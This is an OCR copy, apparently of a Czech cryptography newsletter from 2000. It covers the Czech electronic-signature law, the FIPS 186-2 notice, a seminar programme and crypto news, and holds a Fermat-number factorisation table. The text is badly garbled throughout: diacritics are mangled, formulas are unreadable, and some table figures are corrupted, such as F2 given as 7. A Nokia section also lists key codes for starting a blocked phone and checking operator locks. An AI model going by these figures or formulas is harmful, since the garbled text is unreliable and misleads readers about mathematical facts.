(zastoupeny:NatWest, Mondex, platform7, HSBC, Barclays, Abbey National, APACS,
Keycorp, Lloyds TSB, Hewlett-Packard a PwC)

Vystoupili zde: Allen Chilver, NatWest Card Services, Nigel Smart, Hewlett-Pacard
Laboratories, Dimitrios Markakis, Keycorp, Duncan Garret, Mondex International.

Byla projednavana chystana opatieni k zavedeni kryptografie na bazi eliptickych kiivek na
zéklad€ dnes jiz jednoznacné ustavenych jejich vyhod: mensi klice, rychlejsi zpracovani,
mensi naroky na spotiebu energie, mensi naroky na pamét’ atd.

Dalsi informace lze na vyzédani ziskat od Kima Wagnera (Kim.Wagner@uk.pwcglobal.com).
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C. Hrajeme si s mobilnim telefonem Nokia
Nokia 5110, Nokia 6110, Nokia 6150, Nokia 7110 a dalsi Nokie (nutno ozkouset)

Toto funguje pouze pro starsi firmware 5110 !!!

Zapnuti zablokovaného telefonu - po vlozeni SIM karty telefon zapnéte, poté stisknéte na 3
sec "Sipku nahoru, dale stisknéte C, poté stisknéte * a pockejte aZ nasko€i na displeji, znovu
hvézdicku a poté kod 04*PIN*PIN*PIN#

*#06# - vypiSe na display IMEI telefonu (International Mobile Equipment Identity). Toto
¢islo je jedinecné na svéte a neexistuji 2 telefony se stejnym Cislem.
(plati pro vétsinu znacek mobilnich telefont tedy nejen Nokie - ozkousejte si ! )

*#0000# - vypise verzi software telefonu

Telefon vypiSe naptiklad toto:

VvV 5.02

02-02-99

NSM-1

Prvni fadek je verze firmware, druhy je datum firmware a tfeti je typ telefonu (NSE-1 pro
5110, NSE-3 pro 6110 a NSM-1 pro 6150, NSE-5 pro Nokia 7110)

*#746025625# - da se také zapamatovat jako *#simOclock#, zjisti jestli mize byt SIM Clock
zastaven. NEkteré verze 5110 se SIM Paegas stra§né vybijely baterii telefonu. Zadanim tohoto
kédu se mizete presveédcCit, zdali to neni Vas ptipad. Telefon musi vypsat SIM Clock stop
allowed. Pokud vypiSe not allowed, nechejte si vyménit kartu (vyméni Vam ji zdarma)!

*#92702689# - da se také zapamatovat jako *#warOanty#. Jednd se o vypis zaru€nich
informaci o telefonu. Prvni stranka je IMEI, druha je datum vyroby telefony, tfeti je kdy byl
telefon zakoupen (muzete jednou editovat), C¢tvrtd je kolikrat byl telefon opravovan
(doporucuji zkontrolovat pted koupi) a posledni slouzi k ptenosu(zazalohovani) uzivatelskych
dat do pocitace.

#pw+123456789+1# - timto kodem zjistite, zdali je Vas telefon blokovén pro urcitého
operatora

*3370# - aktivace EFR (Enhanced Full Rate), neboli u EuroTelu SuperSOUND
#3370# - deaktivace EFR (Enhanced Full Rate), neboli u EuroTelu SuperSOUND

*4720# - aktivace HR (Half Rate), baterie déle vydrzi na tkor kvality hovoru
#4720# - deaktivace HR (Half Rate)

Menu v hovoru - v pohotovostnim stavu podrzte na 3 sec tlacitko MENU a dostanete se do
menu, které je pfistupné pouze pii aktivnim hovoru. (Pouze u NOKIA 61xx!)

Melodie pro Nokii 3210

Macarena Tempo = 180

42 8f2 8f2 4f2 8f2 8f2 8f2 8f2 8f2 8f2 82 8a2 8c2 8c2 4f2

8f2 8f2 4f2 8f2 8f2 8f2 8f2 8f2 82 8d28c2 4- 412 8f2 8f2

42 8f2 8f2 8f2 8f2 82 8f2 82 8a2 4- 2.c3 4a2 8c3 8a2 8f24- 2-
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D. Tiskova informace (Zakon o elektronickém podpisu)

Zarazuji nasledujici oficiélni tiskovou informaci o pozménovacim navrhu k zakonu o
elektronickém podpisu, protoze ve zmiflované "expertni pracovni skuping" pracovala i
skupina odborniki GCUCMP (RNDr. Jiti Soucek DrSc., Ing.Jaroslav Pinkava, CSc., RNDr.
Petr Tesatf, Mgr. Pavel Vondruska)..

Zastupci SPISU, USISU a expertni pracovni skupina se sesli na vikendovém
pracovnim shromazdéni v Tiesti (26.2. - 27.2.) a potom dale v nésledujicich dnech pracovali
na upraveé znéni zakona o elektronickém podpisu. Diskuse nad zakonem m¢éla za cil odstranit
hrubé chyby a nedostatky, které se jesté v sedmé predlozené verzi SPISU vyskytovaly a dale
mela za ukol zapracovat obsah direktivy EU o elektronickém podpisu. Internetové diskuse
pfed a po tomto setkani se zucastnila jesté celd fada dalSich ¢leni GCUCMP a odbornikd z
celé CR (nutno vyzdvihnout praci silné brnénské skupiny, kterd demonstrovala skvélou
znalost této problematiky) . VSem tém, ktefi ve svém volném cCase a zcela zdarma se podileli
na této aktivité, patii podékovani.

Konec¢ny produkt (navrh zdkona o elektronickém podpisu) piedala pani Bosakova 7.3.
panu Mlynarovi, ktery jej predlozil hospodarskému vyboru parlamentu.

(Pro tplnost uvaddim sloZeni expertni skupiny z Ties§ti - panové Budis, Cvrcek, Felix,
Hanacek, Peterka, Pinkava, Soucek, Staudek, Tesaf, Vondruska, Zapotocky, vSichni pod
vynikajici taktovkou pani Bosakové z USIS).

POZMENOVACI NAVRHY K ZAKONU O ELEKTRONICKEM PODPISU BUDE
PROJEDNAVAT HOSPODARSKY VYBOR PARLAMENTU

Praha, 28. unora 2000 - Zakon o elektronickém podpisu je jednim z nutnych krokti na cesté
k budovéani informac¢ni spolecnosti a rozvoji elektronického obchodu. Na tom se shodli
zastupci Sdruzeni pro informaéni spole¢nost a Ufadu pro statni informaéni systém. V lednu
tohoto roku se ob¢ strany dohodly na spolecném postupu pii prosazovani piijeti zdkona o
elektronickém podpisu, ktery predlozili poslanci Vladimir Mlynai (US), Ivan Langer (ODS),
Stanislav Gross (CSSD) a Cyril Svoboda (KDU-CSL). Dne 26. ledna 2000 byl pak navrh
zéakona drtivou vétsinou poslaneckych hlasti postoupen do druhého c¢teni.

Dohodu mezi SPIS a USIS pfivital také ministr Pavel Mertlik, ktery SdruZeni pro
informacni spolecnost dopisem sd¢lil, ze Ministerstvo financi jiz pracuje na nékolika
projektech, k jejichz realizaci potfebuje elektronicky podpis a tedy zminény zédkon. Jedna se
napiiklad o moznost podévani danového piiznani ¢i pfizndni silni¢ni dané po Internetu.

Na zékladé této dohody Utad pro statni informaéni systém a SPIS iniciovali vznik
expertni skupiny nezavislych odbornikii a pozadali ji o zpracovani odbornych pfipominek
k textu poslaneckého navrhu zdkona formou pozménovacich navrha tak, aby byl uveden do
souladu s direktivou Evropské unie o elektronickych podpisech schvalenou 30.listopadu 1999.

Expertni pracovni skupina se sesla spoleéné se zastupci USIS a SPIS na vikendovém
setkani v Ttesti, aby zde uzavfela svoji dlouhodobou praci na formulaci pfipominek a
dopracovala zde pozménovaci navrhy do konecné podoby tak, aby mohly byt piedany
hospodarskému vyboru Parlamentu. Ten bude v pribéhu biezna piepracovanou verzi
projednavat a vysledky svého jednani pak piedlozi poslancim pii druhém cteni planovaném
na kvétnovou schlizi Parlamentu.

Kontakt: Jitka Pavlonova, SPIS, Blanicka 16, 120 00 Praha 2, telefon 02/21503481-3,
telefax 02/21503482, e-mail jitkap@spis.cz, http://www.spis.cz.
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E. Digital Signature Standard (DSS)

Vzhledem k aktivitim c¢asti ¢lenii GCUCMP v oblasti zakona o digitalnim podpisu
zarazuji aktualni zpravu o standardu NIST (platny od 27.6.2000). Pfeklad by textu spiSe
uskodil, a proto jej zarazuji v originale.

15 February 2000
Source: http://www.access.gpo.gov/su_docs/aces/fr-cont.html

[Federal Register: February 15, 2000 (Volume 65, Number 31)]
[Notices]

[Page 7507-7508]

From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr15fe00-37]

DEPARTMENT OF COMMERCE
National Institute of Standareds and Technology

[Docket No. 981028268-9247-02]

RIN No. 0693-ZA-23

Announcing Approval of Federal Information Processing Standard
(FIPS) 186-2, Digital Signature Standard (DSS)

AGENCY: National Institute of Standards and Technology (NIST),
Commerce.

ACTION: Notice.

SUMMARY: The Secretary of Commerce approved Federal Information Processing Standard
186-2, Digital Signature Standard (DSS), which supersedes Federal Information Processing
Standard (FIPS) 186-1, Digital Signature Standard (DSS), FIPSs 186-2 expands FIPS 186-1
by

[[Page 7508]]

specifying an additional voluntary industry standard for generating and verifying digital
signatures. This action will enable Federal agencies to use the Digital Signature Algorithm
(DSA), which was originally the single approved technique for digital signatures, as well as
two new ANSI standards that were developed for the financial community. These new
standards are ANSI X9.31, Digital Signature Using Reversible Public Key Cryptography, and
ANSI X9.62, Elliptic Curve Digital Signature Algorithm (ECDSA).

EFFECTIVE DATE: This standard is effective June 27, 2000.

FOR FURTHER INFORMATION CONTACT: Ms. Elaine Barker (301) 975-2911, National
Institute of Standards and Technology, 100 Bureau Drive, STOP 8930, Gaithersburg, MD
20899-8930.

Specifications  for FIPS  186-2 are available on NIST Web page:
http://csrc.nist.gov/encryption>.

Crypto - World 2000 26


http://www.access.gpo.gov/su_docs/aces/fr-cont.html
http://csrc.nist.gov/encryption

Copies of ANSI X9.31, Digital Signatures Using Reversible Public Key Cryptography, and
ANSI X9.62, Elliptic Curve Digital Signature Algorithm (ECDSA) are available from the
American Bankers Assoc./DC, X9 Customer Service Dept. P.O. Box 79064, Baltimore, MD
21279-0064; telephone 1-800-338-0626.

SUPPLEMENTARY INFORMATION: Under Section 5131 of the Information Technology
Management Reform Act of 1996 and the Computer Security Act of 1987, the Secretary of
Commerce is authorized to approve standards and guidelines for the cost effective security
and privacy of sensitive information processed by federal computer systems. In May 1994, the
Secretary of Commerce approved FIPS 186, Digital Signature Standard (DSS), which
specified the Digital Signature Algorithm (DSA) as the single technique for the generation
and verification of digital signatures. In 1997 NIST solicited comments on augmenting FIPS
186 with other digital signature techniques including the Rivest-Shamir-Adleman (RSA) and
the elliptic curve technique. The comments received by NIST supported adding both
techniques to FIPS 186. Both techniques were being considered by the financial services
industry as voluntary industry standards.

On December 15, 1998, (FR Vol. 63, No. 240, pp 69049-51) NIST announced that the
Secretary of Commerce had approved FIPS 186-1, Digital Signature Standard (DSS) as an
interim final standard. FIPS 186-1 added the RSA digital signature technique, which had been
approved as an industry standard (X9.31-1998, Digital Signatures Using Reversible Public
Key Cryptography for the Financial Services Industry). The elliptic curve technique was not
included in the interim final standard since it had not yet been approved by the American
National Standards Institute (ANSI) as a voluntary industry standard.

The December 1998 Notice from NIST invited comments from public, academic and
research communities, manufacturers, voluntary standards organizations, and Federal, state,
and local government organizations concerning the specification of two techniques (DSA and
ANSI X9.31- 1998) for the generation and verification of digital signatures. That Notice also
referred to the elliptic curve technique, which NIST had expected to be approved by ANSI as
a voluntary industry standard. In addition to being published in the Federal Register, the
Notice was posted on the NIST Web pages; information was provided for submission of
electronic comments. NIST received comments from 15 private sector organizations and
individuals, and from two federal government organizations. The comments supported the
addition of the ANSI X9.31 standard, as well as the addition of the elliptic curve technique to
the Digital Signature Standard (DSS). NIST recommended that the Secretary of Commerce
approve FIPS 186-2, which includes the DSA, ANSI X9.31, and the elliptic curve technique,
which has now been approved as ECDSA, under ANSI X9.62, Elliptic Curve Digital
Signature Algorithm. Other comments supported the continued use of another RSA signature
algorithm that is specified by PKCS#1. The algorithm specified in PKCS#1 does not
interoperate with the algorithm specified in ANSI X9.31. FIPS 186-2 allows for the continued
acquisition of implementations of PKCS#1 for a transition period of eighteen months from the
date of approval of this standard, which will enable federal agencies to plan for the acquisition
of implementations of the algorithms promulgated by FIPS 186-2.

Dated: February 8, 2000.

Karen H. Brown, Deputy Director, NIST.
[FR Doc. 00-3450 Filed 2-14-00; 8:45 am]
BILLING CODE 3510-CN-M
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F. Matematické principy informacni bezpecnosti
RNDr. Jifi Sougek, DrSc., MU CSAV

Pozvani pro ¢leny GCUCMP a dal$i zdjemce o problematiku informacni bezpecnosti.
I v tomto semestru se prednasSky, semindie konaji kazdé utery. Prednaska je dvouhodinova a
je v seminarni mistnosti KSI MFF UK na Malé stran¢ (druhé poschodi, katedra systémového
inZenyrstvi). Seminaf bude vénovan matematickym analytickym principlim, bude definovana
a analyzovdna matematickd podstata zabezpeceni informaci. Seminaf bude vychdzet z
praktickych tloh, na seminafi budou pfednaSet predni odbornici v dané oblasti. Seminaf je
vhodny pro studenty a bude probirat danou problematiku od pocatku. Na seminaf je volny
piistup pro ¢leny GCUCMP a dalsi zdjemce o konkrétni témata.

Identifikace: MAT069

Zajistuje: MUKU

Vyucujici: Jifi Soucek, Tonda Benes

Rozsah: 0/2Z,0/2 Z

Konani: kazdé atery 17:20 seminarni mistnost KSI (Mala Strana)

Konkrétni témata pfednasek budou vyhlasovany v pritbéhu semestru.

Program:
22 2. Jiti Soucek: Elektronicky podpis
7.3. Jifi Soucek: Protokol SET

14.3. Pavel Kankovsky : RSA
21.3. Pavel Vondruska : MozZné slabiny implementace RSA
28.3. Tonda Benes: Piehled pouzivanych protokola

G. Letem Sifrovym svétem

1. Skupina Distributed.net rozlustila text, ktery firma CS Communications & Systems
umistila na sviij web. Firma doporucuje prechod na Sifru CS-Cipher s délkou klice 128
bitl. Text byl ovSem zaSifrovan verzi s délkou klice 56 bitl. Na deSifraci se podilelo
38,107 pocitacii a béhem 62 dnl bylo provéfeno 98% vSech moznych klict. Skupina
ziskala vypsanou odménu 10000 Euro. http://www.wired.com/news/print/0,1294,33695,00.html

2. Vzhledem ke zméné regulac¢nich pravidel US exportu 1ze nyni ziskat podrobné zdrojové
koédy kandidati na AES. Twofish si napi. mizete od tUnora stdhnout z adresy :
http://www.counterpane.com/blowfish.html#source

3. Firma Cylink Corporation vyrabi a vyvazi kryptografické prostfedky pro sité vice jak 16-
let. Jejich produkty jsou pouzivany po celém svété - v obchodni, bankovni a statni sféte.
Na adrese :. http://cryptome.org/cylinked.htm se objevil 3.3.2000 ¢lanek, ktery naznacuje
jisté podezielé styky této firmy.

4. Treti evropské ¢tyfdenni setkdni nazvané : "Cryptographic security aspects of smartcards
& Internet" se uskutecni od 25.4. do 28.4.2000 v Amsterdamu. Workshop je organizovan
ve spolupraci s IBM Finance Services. Pfihlasky na e-mailu : akl@euroforum.nl

5. Zajimavy ¢lanek na téma - jak jednoduché je se nabourat do webovskych stranek -
muzete nalézt na adrese :
http://www.pcworld.com/current issue/article/0,1212,14415,00.html
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6. Prestoze se ostrd verze Windows 2000 zacala prodavat v minulych dnech, §ifi se jiz také
prvni virus, ktery byl vyvinut specialné pro prostiedi Windows 2000. Vice informaci l1ze
najit na http:// www.computerworld.com/home/print.nsf/all/000113DD52
Na internetu jsou dostupné informace o prvnich bezpe€nostnich problémech Windows
2000 (PTPP) : http://dailynews.yahoo.com/h/zd/20000130/tc/20000130748.html

7. (13.2.2000 , RSA) Cilem utoku hackeri se stala i hlavni webovska stranka legendarni
firmy RSA Security (www.rsa.com ). Uvodni strana byla pozménéna , vysledek je mozno

najit na diskutovaném serveruh
http://www.2600.com/hacked pages/2000/02/www.rsa.com .

The most trusted name
in E-security
has been owned,

Big things
are coming,

Hackefi oznacili pismenem L osoby na vstupnim pohyblivém panelu. Nové (proti
originalu) se zde objevil text "Big things are coming" a dal$i komentaie typu : "Trust us
with your data! Praise Allah! ". "Zpfetrhany" byly také linky na avodni strance a
nasmérovany jinam. Nov¢ se objevila napft. linka s nadpisem:"Girls are stupids and easy

8. 1nasi (nebo slovensti ?) hackefi se v inoru Cinili. Nékteré jejich "tspéchy" mulzete najit
na strance http://hysteria.sk/czert . Za mésic tnor jsou zde zdokumentovany utoky na
servery http://www.tinysoftware.cz (které vyustily v masovy utok na desitky adres
spravované firmou tinysoftware, vSechny takto postizené adresy jsou peclivé vypsany v
"zoznamu", ktery je zde k dispozici). Skupina nazyvajici se binary division pak
pozménila Uvodni webovské stranky firem www.winroute.cz (stranka po zméné
zadokumentovana na http://dump.hysteria.sk/hacked/www.winroute.cz) , a www.isdn.cz
(stranka po zmén¢ zadokumentovana na http://dump.hysteria.sk/hacked/www.isdn.cz ).
Jiné skupiné se podatilo dostat na prezentacni server ceského mobilu. Vysledek je
dostupny na http://dump.hysteria.sk/hacked/www.ceskymobil.cz .

9. Psat o CeBITu je asi celkem zbytecné - ve vSech naSich sdé€lovacich médiich se objevilo
nebo se objevi na toto téma jesté dost clanki. Takze jen ptipomenu, Ze prob¢hl netradiéné
o mesic difive a to v terminu od 24.2.2000 do 1.3.2000. Osobné mne zaujala nejvice
vyborna prace organizatori a podminky, které zde pfimo na vystavisti byly nabizeny
programatorim a pracovnikim InfoSecu z vychodni Evropy v pfipadé jejich prace v
Némecku. Neni mi jasné, co nase kompetentni organy provedou, aby zabranily odchodu
schopnym, odbornym pracovnikiim do Némecka (odhadovano na jeden tisic osob).

10. (18.2.2000 ) Na internetu se objevily ¢lanky, které tvrdi, Zze v Microsoftu pracovali tajni
agenti USA. Zdrojem téchto ¢lankt je francouzska vyzvédna sluzba.
http://www.intelligenceonline.fr

http://www.theage.com.au/breaking/0002/19/A27800-2000Feb19.shtml
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A.Prohlaseni odborné skupiny pro zpracovani pozménovacich
navrhia k predloze zikona o elektronickém podpisu

Prostfednictvim médii se patrné jiz mnozi setkali s informacemi o ptipravé zakona o
elektronickém podpisu. Cilem tohoto prohlaseni je doplnit jiz zveFejnéné informace a
poukazat na zavaziné problémy, které se pri pripravé zakona vyskytly a které mély
bohuzel negativni dopad na jeho soucasné znéni. Po urcitou dobu vznikaly dokonce navrhy
dva, jeden v Ufadu pro statni informaéni systém (USIS), druhy jako poslanecké iniciativa.
Oba navrhy byly odborné vefejnosti znamy, oba byly odborniky pfipominkovéany. Tyto
pfipominky a porovnani obou navrha byly publikovany v odborném tisku. Vzhledem k tomu,
ze dokonceni vladniho navrhu, byt podle nazoru nékterych expertti v uritych aspektech
kvalitn¢j$iho, bylo stidle v nedohlednu, odbornd vetejnost ptivitala poslaneckou iniciativu,
ktera davala moznost piijeti zdkona v rozumném ¢asovém horizontu.

Zde je nutné vysoce ocenit zasadni roli Sdruzeni pro informacni spole¢nost (SPIS),
které iniciovalo vznik poslaneckého navrhu, a pro poslance-piedkladatele zajistilo zpracovani
textu ndvrhu zdkona. Za tuto aktivitu patii SPIS velky dik. Bohuzel SPIS nemél pfilis
Stastnou ruku pii vybéru osoby, kterd navrh zpracovala. Docent Smejkal je jist€ zndmym
medidlnim propagatorem myslenky zédkona o elektronickém podpisu, ovSem, jak se ukézalo
v prubéhu zpracovani navrhu zdkona, zaroven clovékem, ktery neni schopen komunikace
s odbornou vetejnosti. Jiz od zafi lofiského roku fada odbornikii upozoriiovala SPIS i docenta
Smejkala na zisadni nedostatky ptedlohy (naptiklad prostiednictvim diskusniho féra na
webovych strankach SPIS), neakceptovani redlného stavu a moznosti soucasnych technologii,
postupt pii aplikaci elektronického podpisu, nesoulad s tehdy jesté pfipravovanou smeérnici
EU o elektronickych podpisech atd. Bohuzel ve valné vétSing beziispésné.

Jako posledni moZnost kvalitativni zmény byl chapin projev poslance Mlynare
pri prvnim ¢teni v PSP, ve kterém avizoval vznik odborné skupiny a dopracovani
zakona do Zadouci podoby (pFipomefime, Ze vlada vyslovila nesouhlas s ptivodni
predlohou). V t¢ dob¢é prezentovali zdjem na vzniku a cCinnosti odborné skupiny jak
piedkladatelé, tak SPIS a USIS. Skupina nevznikla jmenovanim ¢lentl, nereprezentuje zadny
existujici subjekt, ¢i zdjmovou skupinu. Jedna se o odborniky, ktefi se dané problematice
systematicky vénuji a které bud’ oslovil USIS, nebo ktefi se ke spolupraci sami ptihlasili.
V pribéhu trech tydnt, které méla skupina k dispozici, byl navrh zdsadné ptepracovan a bylo
dosazeno vSeobecného konsensu ohledné jeho znéni. S plvodnim textem mél nové
zpracovany navrh velmi malo spole¢ného. Vysledek ¢innosti skupiny, tj. novy text navrhu
zdkona, na jehoz zdkladé mély byt zpracovany pozménovaci navrhy pro projedndvani
v hospodarském vyboru a nasledné ve 2. ¢teni v PSP, byl 7. bfezna prostfednictvim SPIS
pfedan predkladatelim. Timto okamzikem pfestala mit skupina na dal§i osud navrhu
jakykoliv pfimy vliv.

Za této situace se stalo néco naprosto nepochopitelného. Navrh pfipraveny odbornou
skupinou zacal ve spolupraci s predkladateli ,,upravovat® , a to i po strance ryze odborné,
opét docent Smejkal! Vysledkem jsou nejen pravnické, ale také odborné upravy, které
zddnym zplsobem nerespektuji dosazeny konsensus odborné skupiny, v mnoha piipadech
spiSe pfipominaji snahu zasahnout do znéni navrhu za kazdou cenu tak, aby se co nejvice
podobal ptivodni piedloze. Tyto zmény bohuzel nereflektuji moznosti soucasnych technologii
a jejich hlavnim rysem je na jedné strané zesileni pravomoci centralniho tfadu a na druhé
stran¢ zeslabeni jeho povinnosti. Snaha o centralizaci ovSem neni podloZena redlnymi
moznostmi aplikace v soucasnych technologickych podminkach. Bohuzel je nezbytné
konstatovat, ze tento postup pii ,,dopracovani“ navrhu mél plnou podporu jednoho
z predkladatelti, poslance Mlynare.
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Doslo tak k opétovnému zaneseni chyb, které byly navrhu vytykany po celou dobu
jeho zpracovavani. Stalo se tak opét bez odborné diskuse, podle pouhého uvéazeni autora
puvodniho navrhu. Tento postup povazuje odborna skupina za nekorektni. Navrh zakona se
opctovné dostal do podoby, ve které jej nelze doporucit k ptijeti parlamentem.

Zamérem Clend skupiny neni vzbudit dojem, ze jimi navrzené znéni ndvrhu je
bezchybné a jediné mozné. Dirazné€ vSak protestuji proti zptuisobu, kdy jim nebyl dan Zadny
prostor pro obhajobu vlastni prace a nasledné zmény byly uéinény bez jakéhokoliv dialogu s
nimi a zna¢n¢ neodbornym zplisobem.

Odborna skupina si uvédomuje, Ze toto prohldseni pfichazi do jisté miry pozdé.
Diivodem byla ovSem dobré vile jejich ¢leni nevytahovat na povrch odborné problémy, vile,
ktera byla podporovana sliby SPIS o moznostech zmény zplsobu prace pfi piipravé navrhu
zakona. Opakované nenaplnéni téchto sliba, at’ jiz v diisledku ptecenéni vlastnich moZznosti, ¢i
z jinych dtivodu, skupinu vede k vydani tohoto prohlaseni. Motivem jejiho dosavadniho
mlceni o uvedenych problémech byla i snaha nezpochybnit nutnost pfijeti zdkona o
elektronickém podpisu a nevyvolat nedivéru k pouzivani elektronického podpisu.

Clenové skupiny jsou otevieni diskusi s témi, kdo zastivaji v této oblasti odli§né
nazory. Diskutovat vS§ak neni s kym. Pripustime-li, Ze zde existuji dvé strany s rozdilnym
pohledem na to, jak by mél zakon o elektronickém podpisu vypadat, pak jednu z téchto
dvou stran predstavuje pouze jedina osoba, a to osoba nekomunikujici.

Za této situace je odborna skupina nucena verejné prohlasit, Ze se sou¢asnym
znénim navrhu zidkona o elektronickém podpisu nesouhlasi, a to pro jeho zavazné
nedostatky. RovnéZz se ohrazuje proti zpisobu, jakym bylo naloZeno s vysledky jeji
prace.

Néavrh zakona bude PSP projednavat ve druhém ¢teni v poloviné kvétna. Je tedy stale
oteviena moznost text dopracovat do piijatelné podoby. Najde-li skupina v PSP partnera,
ktery bude ochoten s ni v této véci komunikovat, je k takové spolupraci piipravena. Cil je
jediny — kvalitni a pouzitelny zadkon o elektronickém podpisu.

Toto prohlaseni nevyjadiuje pouze nazor ¢lenti odborné skupiny, ale i nazor
jinych uznavanych odbornikii v oblasti elektronického podpisu, jejichZ jména jsou
pripojena.

Mgr. Pavel Vondruska, Ing. Dr. Petr Hanacek, Ing. Jifi Mrnustik, Ing. Daniel Cvréek,
Ing.Jaroslav Pinkava,CSc., Mgr. Antonin BeneS, RNDr. Petr TesaF, Doc. Ing. Jan
Staudek, CSc., Jiri Peterka nezavisly konzultant publicista, odborny pracovnik MFF
UK Praha.

VSsichni, ktefi maji zdjem studovat problematiku zdkona o elektronickém podpisu a kterym
jeho stav neni lhostejny, se mohou zucastnit diskuse o tomto zakonu a problematice s nim
svazan¢ na téchto strankach. Vitame hlasy vSech, ktefi souhlasi s prohldSenim odborné
skupiny. Svlj souhlas a tim 1 pfipojeni VaSeho podpisu =zaSlete na adresu
mailto:jiri.mrnustik@aec.cz . Podpisy dalSich osob budou postupné ptidavany do tohoto
dokumentu.

Dalsi informace je mozno ziskat na adrese http://www.e-commerce.cz/akce/zep/ nebo na
adrese http://www.trustcert.cz/

sk ok s sk sfe sk sk sk sk s sk s sk s sk sk sk sk sk skeosk skok skok

Za Vasi podporu a zaslany souhlas na vySe uvedenou adresu predem dékujeme!
Mgr. Pavel Vondruska
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B.

Fermatova ¢isla

Mgr. Pavel Vondruska, NBU

Doplnéni a uptesnéni dat k prednasce :

Netradi¢ni pohled na bezpec¢nost RSA ( Rozvoj teorie prvocisel, oteviené problémy a vztah k
bezpec¢nosti RSA a faktorizaci ), Pavel Vondruska, MFF UK 28.3.2000, cela ptfednaska bude
dostupna od 20.4.2000 na http://www.mujweb.cz/veda/gcucmp/mff/prvocisla.htm

Pierre de Fermat (1601-1665)

Definice :

F =2" +1

Tabulka prvnich Fermatovych Cisel

m Znamy rozklad F,,

0 3

1 5

2 7

3 257

4 65537

5 641*6700417

6 274177* 67280421310721

7 59649589127497217* 5704689200685129054721

8 1238926361552897* Pg,

9 2424833*7455602825647884208337395736200454918783366345657* Py
10 45592577*6487031809*4659775785220018543264560743076778192897* Pys,
11 319489*974849*167988556341760475137*3560841906445833920513* Pse4
12 114689*26017793*63766529*190274191361*1256132134125569* C 47

13 2710954639361*2663848877152141313*3603109844542291969%319546020820551643220672513* Cp39;
14 SloZené C4933

15 1214251009*2327042503868417* Cogso

16 825753601* Ci9729

17 31065037602817* Cso444

18 13631489* Crg906

19 70525124609*646730219521%* Cs7504

20 SloZené C315653

21 4485296422913*C

22 Slozené C1262612

Symbol Py v tabulce oznacuje prvocislo o k dekadickych cifrach, zatimco Cy oznacuje slozené
¢islo o k dekadickych cifrach, pro néz nezname Zadny netrividlni rozklad.

Pti studiu dokonalych ¢isel, ktera souvisi s Mersennovymi prvocisly si Fermat polozil otazku,
zda ¢isla tvaru 2"+1 jsou prvocisla . Vyslovil chybnou hypotézu, Ze ¢isla tvaru Fy, = (2 na 2™)
+ 1 jsou vSechna prvocisla.

Jak piSe C.Pomerance ve svém vynikajicim ¢lanku, jsou dé&jiny rozkladu Fermatovych

¢isel jakymsi mikrokosem historie faktorizace.

Fermat védél, ze Fy az F4 jsou prvocéisla, a domnival se, ze 1 vSechna ostatni ¢isla v
2 b

posloupnosti Fy, jsou prvociselna.
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Fs vSak rozlozil Euler pomoci zesileného Fermatova tvrzeni, které dokazal v roce 1878
E.A.Lucas a podle n€hoZ kazdy prvocinitel p ¢isla F, je tvaru p=1 mod 2?1 kde m je
alesponi 2.

Tato myslenka byla pouzita 1 k rozkladu ¢isla F¢ v roce 1880 (Landry) a k ziskani dalSich
malych prvocinitelti vice jak 80 Fermatovych Cisel, ktera jiz nejsou uvedena v tabulce.
Fermatovo ¢islo F; bylo rozlozeno pomoci Brillhartovy-Morrisonovy faktoriza¢ni metody
fetézovych zlomk.

Brent a Pollard ptizptisobili Pollardovu metodu k rozkladu Fs .

Fy - dle Pomerance je tento rozklad nad sily kvadratického sita , metoda eliptickych kiivek
nebyla vhodna, je urcena pro maly prvocinitel cca do 30-ti cifer).Rozklad se podafil na jate
jednéd o dislo slozené, znal se jeho sedmiciferny prvocinitel, ale pfedmétem rozkladu byl
zbyvajici Cinitel o 148 cifrach, jehoz rozklad nebyl znam). K rozkladu byla pouzita Pollardova
metoda.

F19 a Fy1 rozlozil Brent pomoci Lenstrovy metody eliptickych kiivek.

F14, F29 a Fa; jsou Cisla sloZena, ale zatim nezname zadné prvocinitele téchto Cisel. To, ze
jsou slozend, plyne z tzv. Pepinova kritéria :

Fmje prvocislo prave tehdy, kdyz 3(Fm—1)/ 2 — _lm 0 (F'
_ m

Otevieny problém:

F31 je nejmensi Fermatovo ¢islo, 0 némz nevime , zda je prvocislo nebo sloZené ¢islo. V
soucasné dob¢ se mnoho teoretickych matematikit domniva, ze kazdé Fermatovo ¢islo po Fy4
je slozené.

Nejvetsi Fermatova Cisla, ktera se podaftilo rozlozit
F303088 - 1998 - Young , délitel 3#2°%% +1
Fg2447 - 1999 - Cosgrave , Gallot, délitel 3*2°**** +1

Celkovy piehled (stav k 13.2.2000):

Cislo Fm

Prvocislo m=0,1,2,3,4

Kompletn¢ rozlozené ¢isla m=35, 6, 7, 8 (maji 2 d¢litele), 9 (3 délitele), 10 (4),
11 (5)

Casteéné rozlozené , zname 5 délitelt m=12

Caste&né rozlozené , zname 4 délitele m=13

Caste¢né rozlozené , zname 3 délitele m=15,25

Caste&né rozloZené , zname 2 délitele m=16,18,19,27,30,36,38,52,77,147,150,416

Caste¢né rozlozené , zname 1dé&litele m=17,21,23,26,28,29,32,37,39,42,55,58 a dale 129
hodnot z intervalu (58, 382447>

Slozené, ale nepodafilo se rozlozit m=14,20,22,24

Neznamy charakter m=31,33,34,35,40,41,43,44,45,46,47,48,...
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Posledni dosaZeny vysledek :

11.2.2000 - Rachel Lewis nalezl délitele 57*2'***** +1 Fermatova &isla Fiaz21 .

K ziskani d¢litele pouzil program Proth.exe od Yvese Gallota. Celkem je to jiz osmy délitel
n¢kterého z Fermatovych Cisel nalezeny timto programem.

Literatura :

[1] A tale of two sieves. Notices Amer. Math. Soc. 43 (1996), 1473-1485 (original ¢lanku je
pristupny na adrese http://www.ams.org/publications/notices/199612/pomerance.html, ¢esky
pieklad viz. PMFA, ro¢nik 43 (1998), ¢.1)

[2] M. A. Morrison and J. Brillhart, A method of factorization and the factorization of F_7,
Math. Comp. 29 (1975), 183-205.

[3] R.P.Brent, J.M.Pollard: Factorization of the eight Fermat number. Math. Comp. 36 (1981),
627-630.

[4] Wilfrid Keller, Prime factors k. 2™ +1 of Fermat numbers Fy,, and complete factoring status
http://vamri.xray.ufl.edu/proths/fermat.html

C. Lekce pro tajné agenty - ¢.1 : ""Neztracejte své laptopy "

Béhem biezna se podafilo ztratit britskym agentim hned dva laptopy, které
obsahovaly tajné informace. Prvy piipad se stal v noci ze 3.3 na 4.3, kdy distojnik MIS5
holdoval alkoholu v Rebato's tapas baru, ktery se nachdzi blizko hlavni budovy MI6. V

pocitati m¢l ulozeny dokumenty, které souvisely s

